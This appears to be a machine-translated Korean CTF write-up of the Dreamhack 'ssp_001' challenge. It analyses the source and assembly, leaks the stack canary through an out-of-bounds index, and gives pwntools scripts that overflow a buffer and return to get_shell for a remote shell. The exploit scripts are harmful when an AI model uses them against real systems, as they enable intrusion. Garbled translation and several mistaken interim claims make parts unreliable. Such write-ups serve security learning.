(드림핵) ssp_001

문제 정보

설명

이 문제는 실행 중인 서비스(ssp_001)의 바이너리와 소스 코드가 주어집니다.
프로그램에서 취약점을 찾고, SSP 방어를 우회하고, 이를 악용하여 셸을 얻고, “플래그” 파일을 읽습니다.
워게임 사이트에 “플래그” 파일의 내용을 인증하면 포인트를 획득할 수 있습니다.
플래그의 형식은 DH{… }입니다.

환경

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

참조
스택 스매싱 프로텍터

카나리아 누수를 통한 버퍼 오버플로 문제입니다. NX가 활성화됩니다.

취약점 분석

문제 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() { //셸 실행 함수가 있는 걸보니.. 여기로 return address 옮기라는 건가
    system("/bin/sh"); //ASLR는 설정 안되어있는 것??
}

void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box(idx));
}
//box는 unsigned인 char arrary, idx는 인덱스 
//print_box함수는 box(idx)를 %02x(최대 2자리)만큼 출력해줌

void menu() { //메뉴
    puts("(F)ill the box");
    puts("(P)rint the box");
    puts("(E)xit");
    printf("> ");
} 

int main(int argc, char *argv()) {
    unsigned char box(0x40) = {};
    char name(0x40) = {};
    char select(2) = {}; //2byte할당
    int idx = 0, name_len = 0;
    initialize();
    while(1) { //계속 반복
        menu();
        read(0, select, 2); //read 중간 인자는 읽은 걸 저장하는거!!!
				//첫번제 인자 0은 stdin
				//stdin에서 2byte만큼 읽어서 select에 저장. 왜2개나 저장함? 
				//보통  \n 때문에그런가..??ㄹㅇㄹㅇㄹㅇㄹㅇ 걍 추측
        switch( select(0) ) { //엥 그런데 select(1)은 왜 있는거임?그러면?
            case 'F': //fill
                printf("box input : ");
                read(0, box, sizeof(box)); //stdin에서 0x40만큼 읽어서 box에 저장
                break;
            case 'P': //print
                printf("Element index : ");
                scanf("%d", &idx); //인덱스 번호 입력 흐음.... idx>0x40으로 해도 출력되나?
                print_box(box, idx); 
				//print_box함수는 box(idx)를 %02x(최대 2자리)만큼 출력해줌
                break;
            case 'E': //exit
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len); //name에다 name len만큼 저장
                return 0; //머야 걍 name_len 크게해줘서 하면 되네 ㅋ...
            default:
                break;
        }
    }
}

언뜻 보기에 복잡해 보이지만 name_len을 받을 때 인증 없이 받아 이만큼을 읽어서 name_len을 늘리고 Return Address를 덮어쓸 수 있다.

실행해보니 아래와 같습니다.


문자열로 입력되면 해당 요소는 16진수로 출력됩니다(문자 A는 16진수로 41입니다).

대본

►  0x804872f <main+4>     sub    esp, 0x94
   0x8048735 <main+10>    mov    eax, dword ptr (ebp + 0xc)
   0x8048738 <main+13>    mov    dword ptr (ebp - 0x98), eax
   0x804873e <main+19>    mov    eax, dword ptr gs:(0x14) ;gs:(0x14)이게 카나리인가보다
   0x8048744 <main+25>    mov    dword ptr (ebp - 8), eax ;이게 카나리 저장하는 부분인듯
   0x8048747 <main+28>    xor    eax, eax
   0x8048749 <main+30>    lea    edx, (ebp - 0x88)
   0x804874f <main+36>    mov    eax, 0
   0x8048754 <main+41>    mov    ecx, 0x10
   0x8048759 <main+46>    mov    edi, edx
   0x804875b <main+48>    rep stosd dword ptr es:(edi), eax ;eax를 16번 반복해서 edi 위치에 저장
                         					;eax=0x00000000 이므로 4byte*16=64byte만큼 edi 위치부터 edi+0x40만큼 0으로 초기화함

직접 카나리아를 참조할 위치 확인

더보기

   0x804873e <main+19>    mov    eax, dword ptr gs:(0x14) ;gs:(0x14)이게 카나리인가보다
   0x8048744 <main+25>    mov    dword ptr (ebp - 8), eax ;이게 카나리 저장하는 부분인듯

gs:0x14 카나리아의 값인 것 같습니다. gs에 액세스하는 방법?

https://www.kernel.org/doc/html/latest/x86/x86_64/fsgs.html

28.8. 사용자 공간 애플리케이션에서 FS 및 GS 세그먼트 사용 — The Linux Kernel 문서

28.8. 사용자 공간 애플리케이션에서 FS 및 GS 세그먼트 사용 x86 아키텍처는 세그먼트화를 지원합니다. 메모리에 액세스하는 명령어는 세그먼트 레지스터 기반 주소 지정 모드를 사용할 수 있습니다. 다음 표기법은 세그먼트 내의 바이트 주소를 지정하는 데 사용됩니다.

www.kernel.org

위의 내용에 따르면 아래 함수의 인수로 GS나 FS가 들어간다고 합니다.

베이스 읽기:

arch_prctl(ARCH_GET_FS, &fsbase); arch_prctl(ARCH_GET_GS, &gsbase);

기본 작성:

arch_prctl(ARCH_SET_FS, fsbase); arch_prctl(ARCH_SET_GS, gsbase);

바이너리를 시작할 때 arch_prctl 함수를 잡아서 그 때의 ebx를 보고 거기에 0x14를 추가하자.


catchpoint는 catch syscall arch_prctl을 통해 설정되었습니다. 그런 다음 해당 함수가 실행되려고 할 때 실행이 중지됩니다.

tlqkf 근데 저걸 쓰면 이상한게 뜹니다;; I get a king……. 이건 알아도 늘 달라지는데… 알아내는 의미가 있나…?

먼저 카나리아 누수를 다른 방식으로 시도하겠습니다.

그러면 시나리오는 다음과 같습니다.

case 'P': //print
	printf("Element index : ");
	scanf("%d", &idx); //인덱스 번호 입력 흐음.... idx>0x40으로 해도 출력되나?
	print_box(box, idx); 
	//print_box함수는 box(idx)를 %02x(최대 2자리)만큼 출력해줌
	break;

먼저 케이스 ‘P’를 통해 카나리아가 유출된다. 하지만 print_box 함수는 한번에 1바이트씩 출력하기 때문에, 8번 반복해야 합니다(카나리아가 8바이트이기 때문) -> 4번 반복해야 합니다!! 카나리아가 ebp-0x8에 있는 경우 카나리아가 8바이트라는 보장은 없습니다.

사실 처음에는 그냥 8바이트로 받았어요 (이렇게 해도 답은 맞지만 4번 반복하는게 아니라 8번 반복할 필요가 없어요! ebp-0x8에서 ebp-0x5까지는 카나리아이고 ebp-0x4에서 ebp-0x1까지는 더미입니다. 어떻게 더미인지 알았는지 함수 처음부터 같은 값으로 고정되어 있었고 ebp-0x8 부분에 eax를 넣었을 때 ebp-0x8~ebp-0x5 부분만 0에서 random으로 바뀌었습니다. 값!!

idx는 상자 시작 부분의 카나리아 시작 위치입니다. 첫 번째 출력 값은 0x00이어야 합니다.
어쨌든 이것이 카나리아를 알아낼 수 있는 방법입니다.
일반적으로 카나리아는 버퍼 뒤의 null 바이트를 덮어쓴 다음 다시 인쇄하는 방식으로 수행되지만 이렇게 하면 원하는 모든 위치를 출력할 수 있기 때문에(*(box+idx)는 idx를 입력으로 받기 때문에-> idx>배열 크기이렇게 접속하시면 됩니다!!) 버퍼까지 끝까지 읽어들일 필요가 없고, 이대로 카나리아 누수가 가능하다.

case 'E': //exit
    printf("Name Size : ");
    scanf("%d", &name_len);
    printf("Name : ");
    read(0, name, name_len); //stdin에서 읽은 걸 name에다 name len만큼 저장
    return 0; //main함수 반환 그런데 return address를 조작했으니까 상관 ㄴ
더보기

(예전에 시도했던 방식…)

E를 누르고 name_len을 입력하십시오. name의 시작 주소와 카나리아에서 null 바이트가 있는 주소 간의 차이입니다.로 설정

그런 다음 이름 시작부터 (카나리아 주소 + 1)까지 채워집니다. (/0을 덮을 것이므로 다음에 printf할 때 카나리아를 인쇄할 수 있습니다.

그나저나… 읽기가 끝나면… 돌아온다… 이건 어떻게 해야 할까…? ㅋㅋㅋ..

배고픈!
흠.. sizeof(box)를 조작하려 했으나 sizeof는 런타임이 아니라 컴파일 타임에 이미 결정되었기 때문에 변경할 수 없다고 생각합니다.

(다시 시작하는 새로운 방법)
왜냐면 E를 누르면 메인 함수는 결국 리턴하니까… 리턴 주소를 메뉴가 출력되는 주소로 옮기고 거기서부터 다시 시작하지 않는 이상 악용할 수 없을 것 같다. P가 아닌 E를 통해 null을 제거합시다. P로 바로 클릭 한 다음 E를 수행하고 get_shell() 함수 위치로 돌아갑니다.
그러기 위해서는 name_len부터 ret_addr 끝까지 몇 바이트가 필요한지 알아보고, 숫자를 입력하고, read 함수가 나오면 이름 위치에서 상자 뒤의 null-free 더미(nop으로 해야함) (?byte) + P 카나리아(?바이트)+SFP파트(4바이트)+get_shell() 함수 주소(4바이트)이름으로 저장합시다.
잘되면 0을 반환합니다. 나중에 get_shell()로 돌아갑니다.

스택 프레임 정보 얻기

이제 위치 이름에서 카나리아까지의 거리 차이를 찾아야 합니다.
아래 어셈블리를 분석해 보겠습니다.


eax를 edi 위치에 0x10번(ecx번) 저장을 반복합니다. 참고로 edi에 저장할 때마다 edi는 계속 커집니다. 대개


EAX,ECS,EDI를 살펴보겠습니다.

eax=0x00000000이므로 edi(0xffffcfe0)의 위치에서 4byte*16=64byte만큼 edi+0x40(0xffffd020)만큼 0으로 초기화된다. 상자의 시작 위치가 0xffffcffe0임을 짐작할 수 있습니다.


루프 후 edi 값은 0xffffd020입니다! (4*0x10=0x40씩 증가

루프로 초기화해서 시원했어요!!


여기도 마찬가지입니다. 여기서 edi = 0xffffd020(박스 끝 직후!), eax = 0x0 ecx = 0x10입니다.

음 근데 여기 위치가 0xffffd020이니 0x40씩 위로 올라가니… 그럼 여기는 이름이 아니라 상자의 위치인거 같네요.
따라서 이름위치는 0xffffcffe0입니다.(ebp-0x88), 상자위치는 0xffffd020입니다.(ebp-0x48)것 같다 (ebp는 0xffffd068입니다!)
아니었다… 상자위치는 0xffffcffe0입니다.(ebp-0x88), 이름위치는 0xffffd020입니다.(ebp-0x48)이었습니다..box는 이름보다 낮은 주소를 가지고 있습니다. ..?
(aslr을 적용하면 일관되게 분석이 가능할 것 같습니다. aslr을 적용해도 상대 위치가 같기 때문인가요?)
어쨌든 카나리아 위치도 esp-0x8임을 알 수 있습니다.


이후 select, idx, name_len 순으로 초기화

참고로 name_len의 위치는 ebp-0x90=0xffffcfd8입니다. 여기서 최종 길이는?


0xffffd068은 ebp이므로 카나리아가 있어야 합니다. 맨 윗줄의 0xf7ffcb80b776dc00 은 카나리아같은데 (이걸 리틀엔디안으로 바꿔야하나..???? 그럴거같음…) 근데 매번 바뀌는데.. 보통 printf등을 통해서 유출된다. 위에 언급했듯이 )


새 프로세스를 시작했는데 카나리아 섹션에 다른 카나리아가 저장되었습니다.(근데 거의 똑같아.. 뭐지..? 저 f7ffcb80 부분이 더미라서…)


반환 주소는 d068에서 d06c까지 저장됩니다.


여기서 다시 ebp를 둘러봐야겠습니다

악용하다

위에서 찾은 최종 스택 프레임 구조는 다음과 같습니다.


name_len=0x40+0x40+0x8+0x4+0x4=0x90 (이름 시작부터 Return_address 끝까지 다 채워야 하기 때문에)

ㅄ은 상자부터 틀렸습니다.

페이로드=b’0x90’*0x40+b’0x00’+카나리아+b’0x90’*0x4+b’0x90’*0x4+get_shell()addr.

상자가 이름 위에 왜 있는지 잘 모르겠습니다. 실행해보면 맞긴 한데 흠, 보통 스택 맨 아래에 첫 번째 선언을 쌓지 않나? 왜 잘못된 순서로 넣었습니까? 왕을 얻으십시오;

1) get_shell() 얻기

-> aslr이 켜져 있어도 PIE가 켜져 있지 않기 때문에 코드 세그먼트의 위치는 변하지 않습니다! 따라서 get_shell() 함수의 위치가 고정됩니다!


쉽게 얻을 수 있는 get_shell 주소 0x080486b9~

2) 카나리아 찾기
글쎄, 이것은 가장 성가신 일입니다.

위의 코드를 다시 드래그했습니다.

case 'P': //print
	printf("Element index : ");
	scanf("%d", &idx); //인덱스 번호 입력 흐음.... idx>0x40으로 해도 출력되나?
	print_box(box, idx); 
	//print_box함수는 box(idx)를 %02x(최대 2자리)만큼 출력해줌
	break;

0x80(128)에서 0x83(131)까지 idx를 드릴게요(80에서 87까지 아님 ^^ 16진수는 인간적으로 고쳐주세요.)


예상대로 128일에 00이 나오고, 중간에 카나리아가 나오고, 더미가 끝나는 136에서 00이 나온다.

이 사진을 찍고 있어요! 하지만 하나씩 살펴보고 쉘코드를 보낼 시간이 없기 때문에 pwntools를 사용합니다.

여기에 주의 사항이 있습니다. select는 배열에 2를 저장하고 결과에는 select(0)만 반영
무슨 뜻이에요? 아래를 내려다보다

문제를 돕지 않음 문제 살펴보기(보는 것이 문제 해결에 도움이 됨)

문제의 while 문을 살펴보면 다음과 같은 내용을 볼 수 있습니다.

char select(2)={}
/*...*/
while(1) { //계속 반복
        menu();
        read(0, select, 2); //stdin(0)에서 2만큼 읽어서 select에 저장
			    //왜2개나 저장함? 
				//보통  \n 때문에그런가..??ㄹㅇㄹㅇㄹㅇㄹㅇ 걍 추측
        switch( select(0) ) { //엥 그런데 select(1)은 왜 있는거임?그러면?
                        /*.....*/
                        }

우선 select가 선언된 시점부터 2바이트가 할당되었다. 그래서 내가 처음 문제를 보았을 때, 그것은 무엇이었습니까? 결국 하나의 알파벳만 수신..?
하지만 살펴보니 pwntools를 사용하지 않고 일반적으로 사용자 입력을 받는 프로세스일 경우 계속 진행하려면 Enter 키를 눌러야 합니다.
그래서 엔터를 함께 받을 수 있도록 두 개의 선택 요소를 만들었습니다.
예를 들어, “P\n”을 입력하면 읽기 함수는 P\n을 소모하므로 stdin 버퍼에 아무것도 남지 않습니다.

아래에서 FPE가 입력되면 stdin에는 FPE\n이 입력되고 select에는 FP만 저장되고 stdin 버퍼에는 E\n이 남습니다.


FPE를 넣었고 일단 첫번째로 box input:이 F로 출력되었습니다.
아마도 FP는 선택 배열에 저장되고 E\n은 stdin에 남아 있습니다…? (확실하지 않다)


box(1)=0a (\n) 그리고! 0a는 \n(LF)의 16진수 표현입니다.

어쨌든 E\n 만 stdin에 남아 있다고 가정하면 E\n은 box input 이후에 자동으로 read를 입력합니다. box(0)=45(45는 문자 ‘E’의 16진수 표현입니다.) (\n(LF)의 16진수 표현

(내가 배운 것 읽기(0, 선택, 2); 같은 것이 있습니다. 둘 이상을 입력하면 나머지는 stdin 버퍼에 남아 있습니다.… ..? (이것도 낯설지만) 그래도 약간의 악취를 풍기는 것이 좋은 접근인 것 같다, stdout?)

암튼 결론적으로 pwntools로 보낼때는 \n까지 다 보내야 한다.


이 사진을 보고 카나리아를 얻기 위해 보내는 방법에 대해 생각해 봅시다.
P\n129\nP\n130\nP\n131\n 이 순서대로 하면 선행 0x00을 제외한 3바이트 카나리아를 얻게 됩니다.


이렇게 P1129를 보내면 select는 P1을 먹고, scanf는 129를 먹는다\n, 그리고 129라는 인덱스를 출력한다. stdin 버퍼에 있는 129는 scnaf에서 정수로 인식한다. scanf(“%d”)가 사용되었기 때문입니다!

canary=b""

for i in range(132,128,-1):
	p.recvuntil("> ")
	p.sendline("P")
    #p.recvuntil("index : ") <- 사실 없어도 되는듯
	#p.sendline(i) <-이거 안됨 sendline은 문자열만 입력으로 받음;
	p.sendline(str(i))
    #Element of index %d is : %02x\n <- 이렇게 출력되므로 저 %02x 부분만 받자
	canary+=(p.recvline().split()(-1))

cananry+=b"\x00"
print(canary)

이렇게 했더니 에러가 나더군요… 출력을 해보니 카나리아가 이렇게 나오던데 이건 b’0x12fa’랑은 전혀 다릅니다. (b’12fa’는 12fa -> 4바이트라는 문자열을 나타냅니다!! 반면 b’0x3d12’는 0x3d12 -> 2바이트라는 16진수 값을 나타냅니다!)

그래서 이렇게 바꿨습니다


recv를 통해 받은 byte b’1a’ 타입은 16진수 정수(10진수)로 변환되어 다시 16진수 문자열로 변환된다.

그런데 자꾸 오류가 나길래 제대로 설명을 해보겠다. 결론은 16 진수를 사용해서는 안된다는 것입니다.

recv 시리즈 함수, 즉 가져오려는 값이 a3이면 이 b’a3′이렇게 가져와서 int(b’a3′, 16)의 형태를 주어 정수형으로 변환해야 합니다. 그러나 이 값은 십진수가 됩니다. 하지만 Python에서는 문자열이 아닌 정수만 16진수로 표현할 수 없습니다. (예를 들어 a=0x12 이렇게 저장해도 내부적으로는 십진수로 취급)
따라서 int(p.recvline().split()(-1),16) 자체를 16진수로 덮지 마십시오(왜냐하면 16진수 반환 값이 문자열이기 때문입니다!)는 p32의 인수로 전달되어야 합니다.

반면에 p32(11)을 하면 \x0a\x00\x00\x00이 됩니다. 소녀..? \x0a 로 표현하고 싶습니다! 뒷면에서 00을 제거합니다.


예상대로 p8이 ​​있었습니다.
이제 스팀으로 카나리아를 얻는 방법에 대해 알아보겠습니다.

#P(문자열)\n129(숫자)\nP\n130\nP\n131\nP\n132\nP\n133\nP\n134\nP\n135\n 
from pwn import *

p=remote("host3.dreamhack.games",20364)

canary=b""

for i in range(135,128,-1):
	p.recvuntil("> ")
	p.sendline("P")
    #p.recvuntil("index : ") <- 사실 없어도 되는듯
	#p.sendline(i) <-이거 안됨 sendline은 문자열만 입력으로 받음;
	p.sendline(str(i))
    #Element of index %d is : %02x\n <- 이렇게 출력되므로 저 %02x 부분만 받자
	canary+=p8(int(p.recvline().split()(-1),16)) 

canary+=b"\x00"
print(canary)


바이트 형식으로 잘 나옵니다.

요약하면 다음과 같다
recv 시리즈 반환 값: 바이트(b’A’)
16진수 함수 반환 값: 문자열(“0x12”)
int(…,16) 함수 반환 값: 10진수 정수
p32,p64 인수: 정수
p32,p64 반환 값: 바이트

이렇게 하면 카나리아가 제대로 출력됩니다.
이렇게 나오는데 가운데가 계속 0x00.. 왜이러는지 궁금하네요
아미친.. 범위가 32비트에 4바이트라서.. 그런듯……

이제 페이로드와 결합해야 합니다.

3) 페이로드 가져오기
단지 페이로드=b’0x90’*0x40+카나리아+b’0x90’*0x4+b’0x90’*0x4+p32(0x080486b9) 당신이해야 할 일은

payload=b'\x90'*0x80+canary+b'\x90'*0x4+p32(0x080486b9)

p.recvuntil("> ")
p.sendline("E")
p.sendline(str(144))
p.recvuntil("Name : ")
p.sendline(payload)

p.interactive()

흠… 이렇게 하고도 안되네요… 바이트수가 안맞는건가 싶어서 확인을 해봤습니다.

import sys

print(sys.getsizeof(canary)) #41
print(sys.getsizeof(payload)) #177

페이로드 크기 – 카나리아 크기 = 136인데 이게 맞으니 카나리아 크기가 문제다.
카나리아 사이즈는 8이 되어야 하는데 41이 됩니다.. 왜이럴까요?

그래서 반복에 다음 코드를 넣어 카나리아를 찾습니다.


for i in range(135,128,-1) 여기!

34에서 시작하는 카나리아를 볼 수 있습니다.

그러다 루프문에서 각 바이트는 잘 입력됐는데 시작이 이상했다.
처음에는 canary=b””와 같이 카나리아를 초기화했는데 getsizeof() 함수로 다시 받아보니 33정도로 나왔다.

따라서 초기화가 이상하다는 것을 알 수 있었습니다.
흠.. b””의 사이즈가 33이라는게 참 이상하네요…
https://dojang.io/mod/page/view.php?id=2462

Python 코딩 Dojo: 47.3바이트, bytearray 사용

Python에서 이진 데이터를 처리할 때 바이트 및 바이트 배열을 사용합니다. 이진수는 이진수를 의미하고 이진 데이터는 컴퓨터가 처리하는 데이터 형식을 의미합니다. 47.3.1바이트는 1바입니다.

dojang.io

위 글을 참고했는데 바이트열 객체는 수정할 수 없지만 바이트배열은 수정할 수 있습니다.

#P(문자열)\n129(숫자)\nP\n130\nP\n131\nP\n132\nP\n133\nP\n134\nP\n135\n 
from pwn import *

p=remote("host3.dreamhack.games",20364)

canary=b""

for i in range(135,128,-1):
	p.recvuntil("> ")
	p.sendline("P")
    #p.recvuntil("index : ") <- 사실 없어도 되는듯
	#p.sendline(i) <-이거 안됨 sendline은 문자열만 입력으로 받음;
	p.sendline(str(i))
    #Element of index %d is : %02x\n <- 이렇게 출력되므로 저 %02x 부분만 받자
	canary+=p8(int(p.recvline().split()(-1),16)) 

canary+=b"\x00"
print(canary)


gpt가 시키는대로 다 해봤는데 죽여도 34나오네요; 하나 주세요……..
아미친 그럼 char로 선언할까요??? 1바이트 아닌가요?
보시다시피 Python에는 특정 데이터 유형이 없으므로 char를 명시적으로 지정할 수 없습니다.

코드를 다시 보고 강의에서 스택 카나리아가 어떻게 보내졌는지 분석했습니다.


나는 아직도 그들이 p64와 u64를 모두 제공하는 이유를 모르겠습니다.

아하… Chin Canary는 u64 버전이고, 리틀엔디안 형식으로 저장되어 있어서 0x00이 메모리 맨 앞에!

최종 코드

from pwn import *

p=remote("host3.dreamhack.games",22395)

canary=b"\x00"

for i in range(129,132): 
	p.recvuntil("> ")
	p.sendline("P")
	p.sendline(str(i))
	canary+=p8(int(p.recvline().split()(-1),16)) 
	
#canary=b"\x00\xf?\x....." (총 8byte)
#음 사실 이것도 아니었고,,, 그냥 4BYTE은 DUMMY였다;;;
#앞으로 dummy있는지 체크도 하자
payload=b'\x90'*0x40+canary+b'\x90'*0x04+b'\x90'*0x04+p32(0x80486b9)

p.recvuntil("> ")
p.sendline("E")
p.sendlineafter("Name Size : ",str(144))
p.sendlineafter("Name : ",payload)

p.interactive()